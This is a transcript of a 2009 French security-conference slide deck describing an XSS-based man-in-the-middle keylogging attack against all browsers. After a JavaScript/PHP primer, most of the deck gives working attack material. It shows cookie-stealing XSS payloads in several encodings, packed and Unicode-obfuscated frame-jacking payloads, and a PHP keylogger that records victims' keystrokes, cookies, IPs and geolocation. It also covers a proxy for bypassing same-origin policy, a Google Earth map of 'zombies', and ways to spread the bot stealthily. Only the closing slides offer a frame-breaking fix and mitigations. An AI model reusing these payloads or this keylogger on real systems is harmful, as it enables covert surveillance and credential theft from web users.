Transcript All browsers MITM Keylogging on remote
All browsers MITM Keylogging on remote
14/08/2009 Présenté par Thibaut.L
Disclamer
• Aider à corriger • Mieux connaitre les limites • Démystification des techniques utilisées • Just for the PoC
Page blanche
Sommaire p1
1.
• • • • • • Conaissances requises Javascript / AJAX PHP /Mysql , PHP cURL MYSQL HTML GeoIP Maxmind Google Earth API
Sommaire p2
2.
3.
4.
5.
6.
Rappel sur les XSS Dom XSS ou level 0 xss Le paradoxe du compresseur sans pertes Notions de formes de codage ou d’encodage des caractères Nouveaux vecteurs, enjeux du aux xss
Sommaire p3
7.
8.
9.
10.
11.
12.
13.
14.
Scénario des possibilités d'attaque #1 Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger) Scénario des possibilités d'attaque # 2 intégration du geoip a l'api GE, intégration du tout au proxy php MITM Les moyens de répandre le Worm /web bot de manière furtive sur les sites vulnérables Une seule ligne pour tout corriger (le frame breaking).
Visions de correction à long terme.
liens annexes, remerciements et fin.
1. Conaissances requises : JS
Déclarer une fonction } function Nom_De_La_Fonction(argument1, argument2, ...) { liste d'instructions
1. Conaissances requises : JS
Les évènements :
Gestionnaire d’évènements : onEvenement="Action_Javascript_ou_Fonction(); " Lorsqu'il est utilisé dans un lien hypertexte : Lien
1. Conaissances requises : JS
Evènements
Focus
(onFocus) Se produit lorsque l'utilisateur donne le focus à un élément, c'est-à-dire que cet élément est sélectionné comme étant l'élément actif.
keypress
(onKeypress) Se produit lorsque l'utilisateur relâche une touche de son clavier préalablement enfoncée.
Cet événement n'est supporté que par les versions de Javascript 1.2 et supérieures.
Load
(onLoad) Se produit lorsque le navigateur de l'utilisateur charge la page en cours.
Unload
(onUnload) Se produit lorsque le navigateur de l'utilisateur quitte la page en cours.
Submit
(onSubmit) Se produit lorsque l'utilisateur clique sur le bouton de soumission d'un formulaire (le bouton qui permet d'envoyer le formulaire).
MouseOver
(onMouseOver) Se produit lorsque l'utilisateur positionne le curseur de la souris au dessus d'un élément.
1. Conaissances requises : JS
Evénements et objets concernés :
Focus
Button, Checkbox, FileUpload, Layer, Password, Radio, Reset, Select, Submit, Text, TextArea, window Keypress
load
Document, Image, Link, TextArea Image, Layer, window unload
submit
Window Form mouseover
Area, Layer, Link
1. Conaissances requises : JS
L’objet image
seconde = new Image(); seconde.src = "bleu.gif"; document.images[0].src = seconde.src;;
1. Conaissances requises : JS
Les objets et les méthodes : Document
L'objet document se réfère au contenu affiché dans la fenêtre du navigateur. Dans la hiérarchie objet de JavaScript il se trouve sous l'objet window. L'objet document contient une série de propriétés et méthodes qui lui sont propres.
Méthodes classiques d’écriture : write() (écrire dans la fenêtre du document) writeln() (écrire ligne par ligne) Par exemple :
1. Conaissances requises : JS
Syntaxe : eval(String chaine)
La fonction eval() :
Description Evalue et exécute le code JavaScripts contenu dans une chaine.
Cette fonction est très utile pour générer du code JavaScripts dans une chaîne de caractères et l'exécuter nous aborderons l’utilité du codage /encodage plus tard dans cette présentation.
function createXhrObject() { if (window.XMLHttpRequest) return new XMLHttpRequest();
1. Conaissances requises : AJAX
L’objet XML Http
if (window.ActiveXObject) { var names = [ "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP" ]; for(var i in names) { try{ return new ActiveXObject(names[i]); } catch(e){} } } window.alert("Votre navigateur ne prend pas en charge l'objet XMLHTTPRequest."); return null; // non supporté } xhr = createXhrObject();
1. Conaissances requises : AJAX
Same Origin Policy
Evite qu'un document ou un code chargé depuis une "origine" donnée soit remplacé par un document d'une "origine" différente.
1. Conaissances requises : PHP Mysql
fopen fwrite et fclose
fopen Ouvre un fichier ou une URL - (PHP 4, PHP 5)
Description resource fopen ( string $filename , string $mode [, bool $use_include_path [, resource $context ]] )
fopen() crée une ressource nommée, spécifiée par le paramètre filename , sous la forme d'un flux.
$handle = fopen("c:\\data\\info.php", "a+"); ?>
1. Conaissances requises : PHP
fwrite et fclose
fwrite
Écrit un fichier en mode binaire
Description
int fwrite ( resource $handle , string $string [, int $length ] ) fwrite() écrit le contenu de la chaîne string dans le fichier pointé par handle .
$fp = fopen('info.php', 'r'); fwrite($fp, '1'); fwrite($fp, '23'); fclose($fp); //Le contenu de 'data.txt' est maintenant 123 //et non 23 !
?> fclose
fclose ferme le fichier handle .
Description bool fclose ( resource handle )
1. Conaissances requises : PHP Mysql
Echo à partir d’une base de donnée
$db_host = 'localhost'; $db_username = 'root'; $db_password = ''; $db_name = 'hija'; $table_name = 'ck'; mysql_connect("localhost", "root", ""); // Connexion à MySQL mysql_select_db("hija"); // Sélection de la base $reponse = mysql_query("SELECT * FROM ck"); // Requête SQL // On fait une boucle pour lister tout ce que contient la table while ($donnees = mysql_fetch_array($reponse) ) { ?> IP: < ?php
} mysql_close(); // Déconnexion de MySQL ?>
1.Conaissances requises : PHP cURL
L’extension cURL
La librairie cURL permet de communiquer facilement avec de nombreux types de serveurs applicatifs en parlant le même langage que celui-ci.
ressource curl_init([chaîne url]) :
Initialise une nouvelle session cURL. Son seul paramètre url peut être omis mais il ne faudra pas oublier de l'indiquer par la suite avec la fonction curl_setopt, option CURLOPT_URL. Cette fonction renverra une ressource exploitable par les autres fonctions curl ou FALSE en cas d'erreur.
• • •
booléen curl_setopt(ressource curl, entier option, variable valeur) :
Définit le comportement de la session. Elle renvoie TRUE en cas de succès et FALSE si une erreur est rencontrée. Ces paramètres sont les suivants : curl : la session cURL (résultat de l'appel à curl_init) option : le nom de l'option sous la forme d'une constante, celles-ci commencent par CURLOPT ,d’ailleurs je vous conseil de lire le manuel des options.
valeur : la valeur à donner, son type (numérique, booléen, etc) est variable et est propre à l'option utilisée
1.Conaissances requises : PHP cURL
L’extension cURL
variable curl_exec(ressource curl)
: Exécute la session cURL représentée par curl (résultat de la fonction curl_init). Toutes les informations nécessaires doivent être fournies au préalable avec la fonction curl_setopt. Elle retourne FALSE si une erreur survient et dans le cas contraire une valeur qui dépend de la valeur de l'option CURLOPT_RETURNTRANSFER. En effet, si cette option est fixée à FALSE (valeur par défaut), curl_exec renvoie alors TRUE sinon le résultat de la requête (du texte).
rien curl_close(ressource curl) :
Met fin à la session cURL désignée par le paramètre curl (résultat de la fonction curl_init) et libère les ressources allouées.
1.Conaissances requises : PHP cURL
L’extension cURL
1.Conaissances requises : PHP cURL
Contournement de la politique de même origine
//spoofing referer $referer= "http://foobar/" // spoofing FireFox 2.0
$useragent="Mozilla/5.0 "; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, “http://foo/”); curl_setopt ($ch, CURLOPT_HEADER, 0);
(SOP)
curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_exec ($ch); curl_close ($ch); ?>
Script compressé avec le compresseur de Dean Edwards
5. Notions de formes de codage ou d’encodage des caractères
ASCII Character Chart with Decimal, Binary and Hexadecimal Conversions P1
5. Notions de formes de codage ou d’encodage des caractères
ASCII Character Chart with Decimal, Binary and Hexadecimal Conversions P2
5. Notions de formes de codage ou d’encodage des caractères
ASCII Character Chart with Decimal, Binary and Hexadecimal Conversions P3
5. Notions de formes de codage ou d’encodage des caractères
ASCII Character Chart with Decimal, Binary and Hexadecimal Conversions P4
5. Notions de formes de codage ou d’encodage des caractères Conversion et encodages :
Loopback IP
http://127.0.0.1
Dword Address:
http://2130706433
Addresse hexadecimal:
http://0x7f.0x00.0x00.0x01
Addresse octale: http://0177.0000.0000.0001
5. Notions de formes de codage ou d’encodage des caractères
Conversion et encodages
Utilisation du protocole javascript
Document cookie avec alert javascript : Javascript:alert(document.cookie +' frhack’) Document cookie avec alert javascript encodé en hexadécimal : Javascript:document.write(unescape("\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x 72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x20\x2b\x27\x2 0\x66\x72\x68\x61\x63\x6b\x27\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e")) Document cookie avec alert JavaScript encodé en Unicode: Javascript:document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u006 1\u006c\u0065\u0072\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074 \u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u002b\u0027\u0020\u0066\u0072\ u0068\u0061\u0063\u006b\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u 0074\u003e') Document cookie avec alert JavaScript encodé en fromcharcode javascript:document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 32, 43, 39, 32, 102, 114, 104, 97, 99, 107, 39, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62))
5. Notions de formes de codage ou d’encodage des caractères
Utilisation du protocole Data URL (Firefox & Google Chrome) data:[
5. Notions de formes de codage ou d’encodage des caractères
Utilisation du protocole Data URL (Firefox & Google Chrome) data:[
6. Nouveaux vecteurs, enjeux du aux xss
Remasterisation des exploit web (HTML et JS) grâce aux encodages /compression multiples : Exemple IE / Firefox remote DoS (sur les balise à effets visuels) Balise HTML: 1 er encodage escape 2 ème couche compression
6. Nouveaux vecteurs, enjeux du aux xss
Remasterisation des exploit web (HTML et JS) grace aux encodages /compression multiples : Exemple IE / Firefox remote DoS (sur les balise a effets visuels) p2 3 ème couche encodage Unicode document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0065\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u 006f\u006e\u0028\u0070\u002c\u0061\u002c\u0063\u002c\u006b\u002c\u0065\u002c\u0064\u0029\u007b\u0065\u003d\u0066\u0075\u006e\u0063\u 0074\u0069\u006f\u006e\u0028\u0063\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u007d\u003b\u0069\u0066\u0028\u0021\u 0027\u0027\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005e\u002f\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u 0029\u007b\u0077\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0064\u005b\u0063\u005d\u003d\u006b\u005b\u0063\u005d\ u007c\u007c\u0063\u007d\u006b\u003d\u005b\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0065\u0029\u007b\u0072\u0065\u0074 \u0075\u0072\u006e\u0020\u0064\u005b\u0065\u005d\u007d\u005d\u003b\u0065\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u002 8\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0027\u005c\u005c\u0077\u002b\u0027\u007d\u003b\u0063\u003d\u0031\u007d\u003b\u00 77\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0069\u0066\u0028\u006b\u005b\u0063\u005d\u0029\u007b\u0070\u003d\u0 070\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u006e\u0065\u0077\u0020\u0052\u0065\u0067\u0045\u0078\u0070\u0028\u0027\u0 05c\u005c\u0062\u0027\u002b\u0065\u0028\u0063\u0029\u002b\u0027\u005c\u005c\u0062\u0027\u002c\u0027\u0067\u0027\u0029\u002c\u006b\u 005b\u0063\u005d\u0029\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0070\u007d\u0028\u0027\u0032\u002e\u0031\u0028\u0030\ u0028\u0022\u0025\u0033\u0025\u0034\u0025\u0036\u0025\u0035\u0025\u0037\u0022\u0029\u0029\u003b\u0027\u002c\u0038\u002c\u0038\u002c\ u0027\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065\u007c\u0077\u0072\u0069\u0074\u0065\u007c\u0064\u006f\u0063\u0075\u006d\u0065\ u006e\u0074\u007c\u0033\u0043\u006d\u0061\u0072\u0071\u0075\u0065\u0065\u007c\u0033\u0045\u0066\u0072\u0068\u0061\u0063\u006b\u007c \u0032\u0046\u006d\u0061\u0072\u0071\u0075\u0065\u0065\u007c\u0033\u0043\u007c\u0033\u0045\u0027\u002e\u0073\u0070\u006c\u0069\u0074 \u0028\u0027\u007c\u0027\u0029\u002c\u0030\u002c\u007b\u007d\u0029\u0029\u000a\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e ')
6. Nouveaux vecteurs, enjeux du aux xss
6. Nouveaux vecteurs, enjeux du aux xss
Le retour du frame jacking : Simple Frame Jacking Proof of Concept: Simple Iframe Jacking Proof of Concept :
6. Nouveaux vecteurs, enjeux du aux xss
URL cache poisoning Etape 1 - frame jacking: Etape 2 - encoding (escape) document.write(unescape("%3Cframeset%20rows%3D%22100%25%22%3E%0A% 3C%21--%20wtf%20%3F%3F%20frame%20jacking%20%3F%20- %3E%0A%3Cframe%20noresize%3D%22noresize%22%20frameborder%3D%220% 22%20title%3D%22poc%20frame%20jacking%22%20src%3D%22http%3A%2F%2F frhack.org%2F%22%3E%0A%3C%21- %20its%20time%20to%20bypass%20filters%20- %3E%0A%3C%2Fframe%3E%0A%3C%2Fframeset%3E%0A"));
6. Nouveaux vecteurs, enjeux du aux xss
URL cache poisoning Etape 3 - compression: eval(function(p,a,c,k,e,d){e=function(c){return(c35 ?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c- ){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('j.i(k("%l%m%3%h%g%2%1%0%5%7- %c%4%6%6%9%a%4%6%4- %1%0%d%e%3%f%2%n%3%o%2%x%3%w%9%a%2%A%3%u%q%8%p.r%8%2%1 %0%5%7--%B%t%s%y%b%4- %1%0%5%z%1%0%5%v%1%0"));',38,38,'0A|3E|22|3D|20|3C|3F|21|2F|20frame|20ja cking|20filters|20wtf|3Cframe|20noresize|22noresize|25|22100|write|document|une scape|3Cframeset|20rows|20frameborder|220|2Ffrhack|3A|org|20to|20time|22http| 2Fframeset|22poc|20title|20bypass|2Fframe|20src|20its'.split('|'),0,{}))
6. Nouveaux vecteurs, enjeux du aux xss
URL cache poisoning Etape 4 – re-encoding (Unicode) document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0065\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006 e\u0028\u0070\u002c\u0061\u002c\u0063\u002c\u006b\u002c\u0065\u002c\u0064\u0029\u007b\u0065\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\ u006e\u0028\u0063\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0028\u0063\u003c\u0061\u003f\u0027\u0027\u003a\u0065\u0028\u0070\u0061\u0 072\u0073\u0065\u0049\u006e\u0074\u0028\u0063\u002f\u0061\u0029\u0029\u0029\u002b\u0028\u0028\u0063\u003d\u0063\u0025\u0061\u0029\u003e\u003 3\u0035\u003f\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065\u0028\u0063\u 002b\u0032\u0039\u0029\u003a\u0063\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0033\u0036\u0029\u0029\u007d\u003b\u0069\u00 66\u0028\u0021\u0027\u0027\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005e\u002f\u002c\u0053\u0074\u0072\u0069\u006e\u0067\ u0029\u0029\u007b\u0077\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0064\u005b\u0065\u0028\u0063\u0029\u005d\u003d\u006b\u 005b\u0063\u005d\u007c\u007c\u0065\u0028\u0063\u0029\u007d\u006b\u003d\u005b\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0065\u0 029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0064\u005b\u0065\u005d\u007d\u005d\u003b\u0065\u003d\u0066\u0075\u006e\u0063\u0074\u00 69\u006f\u006e\u0028\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0027\u005c\u005c\u0077\u002b\u0027\u007d\u003b\u0063\u003d\u0031\u007 d\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0063\u002d\u002d\u0029\u007b\u0069\u0066\u0028\u006b\u005b\u0063\u005d\u0029\u007b\u0070\u003d \u0070\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u006e\u0065\u0077\u0020\u0052\u0065\u0067\u0045\u0078\u0070\u0028\u0027\u005c\u 005c\u0062\u0027\u002b\u0065\u0028\u0063\u0029\u002b\u0027\u005c\u005c\u0062\u0027\u002c\u0027\u0067\u0027\u0029\u002c\u006b\u005b\u0063\u0 05d\u0029\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0070\u007d\u0028\u0027\u006a\u002e\u0069\u0028\u006b\u0028\u0022\u0025\u00 6c\u0025\u006d\u0025\u0033\u0025\u0068\u0025\u0067\u0025\u0032\u0025\u0031\u0025\u0030\u0025\u0035\u0025\u0037\u002d\u002d\u0025\u0063\u002 5\u0034\u0025\u0036\u0025\u0036\u0025\u0039\u0025\u0061\u0025\u0034\u0025\u0036\u0025\u0034\u002d\u002d\u0025\u0031\u0025\u0030\u0025\u0064\ u0025\u0065\u0025\u0033\u0025\u0066\u0025\u0032\u0025\u006e\u0025\u0033\u0025\u006f\u0025\u0032\u0025\u0078\u0025\u0033\u0025\u0077\u0025\u0 039\u0025\u0061\u0025\u0032\u0025\u0041\u0025\u0033\u0025\u0075\u0025\u0071\u0025\u0038\u0025\u0070\u002e\u0072\u0025\u0038\u0025\u0032\u00 25\u0031\u0025\u0030\u0025\u0035\u0025\u0037\u002d\u002d\u0025\u0042\u0025\u0074\u0025\u0073\u0025\u0079\u0025\u0062\u0025\u0034\u002d\u002 d\u0025\u0031\u0025\u0030\u0025\u0035\u0025\u007a\u0025\u0031\u0025\u0030\u0025\u0035\u0025\u0076\u0025\u0031\u0025\u0030\u0022\u0029\u0029\ u003b\u0027\u002c\u0033\u0038\u002c\u0033\u0038\u002c\u0027\u0030\u0041\u007c\u0033\u0045\u007c\u0032\u0032\u007c\u0033\u0044\u007c\u0032\u 0030\u007c\u0033\u0043\u007c\u0033\u0046\u007c\u0032\u0031\u007c\u0032\u0046\u007c\u0032\u0030\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0 030\u006a\u0061\u0063\u006b\u0069\u006e\u0067\u007c\u0032\u0030\u0066\u0069\u006c\u0074\u0065\u0072\u0073\u007c\u0032\u0030\u0077\u0074\u00 66\u007c\u0033\u0043\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0030\u006e\u006f\u0072\u0065\u0073\u0069\u007a\u0065\u007c\u0032\u0032\u006e \u006f\u0072\u0065\u0073\u0069\u007a\u0065\u007c\u0032\u0035\u007c\u0032\u0032\u0031\u0030\u0030\u007c\u0077\u0072\u0069\u0074\u0065\u007c\u 0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u007c\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065\u007c\u0033\u0043\u0066\u0072\u0061\u00 6d\u0065\u0073\u0065\u0074\u007c\u0032\u0030\u0072\u006f\u0077\u0073\u007c\u0032\u0030\u0066\u0072\u0061\u006d\u0065\u0062\u006f\u0072\u0064\ u0065\u0072\u007c\u0032\u0032\u0030\u007c\u0032\u0046\u0066\u0072\u0068\u0061\u0063\u006b\u007c\u0033\u0041\u007c\u006f\u0072\u0067\u007c\u0 032\u0030\u0074\u006f\u007c\u0032\u0030\u0074\u0069\u006d\u0065\u007c\u0032\u0032\u0068\u0074\u0074\u0070\u007c\u0032\u0046\u0066\u0072\u006 1\u006d\u0065\u0073\u0065\u0074\u007c\u0032\u0032\u0070\u006f\u0063\u007c\u0032\u0030\u0074\u0069\u0074\u006c\u0065\u007c\u0032\u0030\u0062\ u0079\u0070\u0061\u0073\u0073\u007c\u0032\u0046\u0066\u0072\u0061\u006d\u0065\u007c\u0032\u0030\u0073\u0072\u0063\u007c\u0032\u0030\u0069\u 0074\u0073\u0027\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u007c\u0027\u0029\u002c\u0030\u002c\u007b\u007d\u0029\u0029\u000a\u003c\u0 02f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')
6. Nouveaux vecteurs, enjeux du aux xss
URL cache poisoning Conséquence de l’attaque :
•
Disparition ou obfuscation du code source
•
Transformation de xss temporaire en xss persistante à l’aide d’un proxy MITM
•
URL spoofing permettant d’usurper l’adresse du site grâce à une frame
•
Compatible avec le protocole javascript donc sur tous les navigateurs modernes
•
énormément de variante sur l’obfuscation du code sont possible (plus de 100 en comptant les 65charset)
Requète classique:
7. Scénario des possibilitées d'attaque #1
7. Scénario des possibilités d'attaque #1
La victime clique sur le lien malicieux
7. Scénario des possibilités d'attaque #1
Après que la victime clique sur le lien malicieux
8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger)
Fichier ./mik.php p1/3
########## recupération des variables d'initialisation require 'includes/init.php'; //fonction protection injection sql function mysql_secu($variable) { $variable2 = utf8_decode($variable); if (get_magic_quotes_gpc()) { $variable2 = stripslashes($variable2); } $variable2 = mysql_real_escape_string($variable2); $variable2 = utf8_encode($variable2); return $variable2; } //Début : Var connection pour la bdd $db_host = 'localhost'; $db_username = 'root'; $db_password = ''; $db_name = 'hija'; $table_name = 'ck'; //Fin : Var connection pour la bdd
8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni
Fichier ./mik.php p2/3
d'un keylogger)
//Début : connexion à la base et sa séléction mysql_connect($db_host,$db_username,$db_password) or die ('Impossible de se connecter à la base de donnée :'.mysql_error()); mysql_select_db($db_name) or die ('Impossible d\'ouvrir la base '.$db_name.' : '.mysql_error()); //Fin : connexion à la base et sa séléction //Début : récup des données $data = mysql_secu($_GET['keylog']); $time = date("Y-m-d G:i:s A"); $ip = mysql_secu($userIP); $lat = mysql_secu($_GET['lat']); $longi = mysql_secu($_GET['longi']); $country = mysql_secu($_GET['country']); $region = mysql_secu($_GET['region']); $referer = mysql_secu($_SERVER['HTTP_REFERER']); $agent = mysql_secu($_SERVER['HTTP_USER_AGENT']); $request_uri = mysql_secu($_SERVER['REQUEST_URI']); $cookie = mysql_secu(serialize($_COOKIE)); $url = mysql_secu($url); //Fin : récupération des données
8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger)
Fichier ./mik.php p3/3 //requète d'insertion $r1 = mysql_query('SELECT data FROM '.$table_name.' WHERE ip=\''.$ip.'\''); while ($champs = mysql_fetch_assoc($r1)) //Utilisation d'une boucle pour afficher les donnée de chaque champs { $data2 = $champs['data']; } if ($data2 != '' or $data2 != NULL) { $requete = 'UPDATE '.$table_name.' SET data=\''.$data2.$data.'\' WHERE ip=\''.$ip.'\''; $requete = mysql_query($requete) or die ('Impossible de modifier : '.mysql_error()); } else { $requete = 'INSERT INTO '.$table_name.'(ip, data, time, lat, longi, country, region, referer, agent, request_uri, cookie, url) VALUES(\''.$ip.'\', \''.$data.'\',\''.$time.'\', \''.$lat.'\', \''.$longi.'\' ,\''.$country.'\',\''.$region.'\',\''.$referer.'\', \''.$agent.'\', \''.$request_uri.'\', \''.$cookie.'\', \''.$url.'\')'; $requete = mysql_query($requete) or die ('Impossible d\'ajouter : '.mysql_error()); } ?>
8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger)
Fichier ./sopbypass/501337/framedForm.inc.php p3/3
############################################## ## Contournement SOP, ############################################## // Define variables for use in form $return = urlencode('browse.php?' . $_SERVER['QUERY_STRING']); ?>
8.Exploitation grâce à php/Mysql (création d'un proxy php MITM muni d'un keylogger)
Résultat de la navigation avec le proxy ./browse.php?u=http://google.fr
9. Scénario des possibilitées d'attaque #2
All browser mitm keylogging on remote attack scenario #2 (avec geoip)
All browser mitm keylogging on remote attack scenario #2 échanges entre fichiers
9. Scénario des possibilitées d'attaque #2
10. integration du geoip a l'api GE, integration du tout au proxy php MITM
Fichier ./result.php p1/3
// Connexion à MySQL mysql_connect("localhost", "root", ""); // Sélection de la base mysql_select_db("hija"); // Requête SQL $reponse = mysql_query("SELECT * FROM ck"); //selection des collones remplies mysql_query("SELECT * FROM ck WHERE 1"); // On fait une boucle pour lister tout ce que contient la table : while ($donnees = mysql_fetch_array($reponse) ) {
10. integration du geoip a l'api GE, integration du tout au
Fichier ./result.php p2/3
proxy php MITM
//ecriture du fichier kml contenant les données de la base $file = fopen('zombies.kml' , 'a'); $kml = array(''); $kml[] = '
10. integration du geoip a l'api GE, integration du tout au proxy php MITM
Fichier ./result.php p3/3 $kml[] = '
10. integration du geoip a l'api GE, integration du tout au
Fichier ./Zombies.html p1/4
proxy php MITM
The Hijacker alpha version
10. integration du geoip a l'api GE, integration du tout au
Fichier ./Zombies.html p4/4
proxy php MITM
Supprimer zombies.kml Régénerez le fichier zombies.kml Telechargez zombies.kml Rafraichir la page
10. integration du geoip a l'api GE, integration du tout au proxy php MITM
Fichier ./unlink.php
//Supprimer un fichier unlink("zombies.kml"); ?>
10. integration du geoip a l'api GE, integration du tout au proxy php MITM
Lecture du fichier zombies.kml sur Google earth api
11.Les moyens de répandre le web bot de maniere furtive sur les sites vulnerable
• • Compatible avec les XSS de tout types, frame injection, html injection, css injection, redirect.
Injection avec le protocole data et javascript a travers des attributs HTML (SRC) ou des evenements HTML , javascript.(voir attack vector list) Dans le cas de l’injection de frame:
http://victim.foo/vuln.php?frame=javascript: [ URL CACHE POISONING PAYLOAD ]
Dans une xss:
http://victim.foo/vuln.php?param=‘>http://victim.foo/ href=’’javascript:[ URL CACHE POISONING PAYLOAD …
12.Une seule ligne pour tout corriger (le frame breaking).
FRAME BREAKER Permet de rediriger la page framée a la source même de l’iframe /frame
if (top.frames.length!=0) top.location=self.document.location;
13.Visions de correction à long terme.
• Restriction des protocoles javascript et data par des filtres (noscript, adblock etc..) inséré nativement dans le navigateur.
• Corriger les failles de cross site scripting potentielles sur son site (voir lien annexe).
• Restriction de l’utilisation des standards utilisant les protocoles javascript et data dans l’url en filtrant le contenu inséré.
14. liens annexes,
liens annexes
http://fr.wikipedia.org/wiki/JavaScript
remerciements et fin.
http://actuel.fr.selfhtml.org/archives/docu/7.0/tecbbe.htm
http://www.google.fr/search?hl=fr&client=firefox a&rls=org.mozilla%3Afr%3Aofficial&hs=V8j&q=correct+xss&btnG=Rechercher&meta= http://fr.wikipedia.org/wiki/XMLHttpRequest http://www.journaldunet.com/developpeur/tutoriel/dht/070625-ajax-in-securite.shtml
http://julp.developpez.com/php/curl/#L3.1.2
http://www.manuelphp.com/php/function.mysql-connect.php
http://fr.wikipedia.org/wiki/Hypertext_Markup_Language http://maps.google.fr/support/bin/answer.py?hl=fr&answer=29435 http://code.google.com/intl/fr/apis/earth/ http://fr.wikipedia.org/wiki/Kolmogorov http://www.stetson.edu/~efriedma/cirincir/ http://fr.wikipedia.org/wiki/Th%C3%A9orie_algorithmique_de_l%27information http://fr.wikipedia.org/wiki/Paradoxe_du_compresseur http://fr.wikipedia.org/wiki/Carl_Friedrich_Gauss http://mathworld.wolfram.com/CirclePacking.html
http://dean.edwards.name/packer/ http://fr.wikipedia.org/wiki/Keyhole_Markup_Language http://code.google.com/apis/kml/documentation/ http://code.google.com/apis/kml/documentation/kml_tut.html
http://demonstrations.wolfram.com/2ByNDiskPackingParadox/ http://yehg.net/encoding/ http://www.ietf.org/rfc/rfc2397.txt
http://www.gnucitizen.org/blog/bugs-in-the-browser-firefoxs-data-url-scheme-vulnerability/ http://attackvector.lescigales.org/vectors/index.php
http://attackvector.lescigales.org/2009/05/16/how-to-prevent-frameiframe-injection-in-your-login-page/ http://xssed.com/article/29/Browser_Hijacking_Techniques_2009/ http://p3lo.blip.tv/file/2006110/ http://www.research.att.com/~njas/sequences/A093766 http://www.glype.com
http://fr.wikipedia.org/wiki/Cross-site_scripting http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 http://www.maxmind.com/ http://ha.ckers.org/
14. liens annexes, remerciements et fin.
• Greetings : FRHACK, str0ke, xssed team, cwh underground, 50-1337 crew.
Special thanks to: Str0ke . Mike001 . Zulrigh . Devil . Noxo . MySt3ri0us . xxello . t0fx . AzOTe . Funny . Stiv0n scarface-team .MrRabah. Xylitol . Z3Q3ul . asylu3 . 0ni . KPCR . Sh0ck . Nasty Shade . SylTroX TheCrow . HuG . Hug88 . Ez3kiEl . tr00ps . Iectricdr3ke . stivon . Faworis .tryks . sh4ka emuleman . RF . White Angels . Miss Narkotik . p@@@ . Akxos/Freiya . Odysse . EniGmATiquE . Tavux . v00d00chile . mrabah12 . Big.E .SoLiTaIr3 . 0vernet . HiTMaX . Orion .xxello . Digital-h . RP . Yehouda . Freeman . roy hot . Cybstup . nickill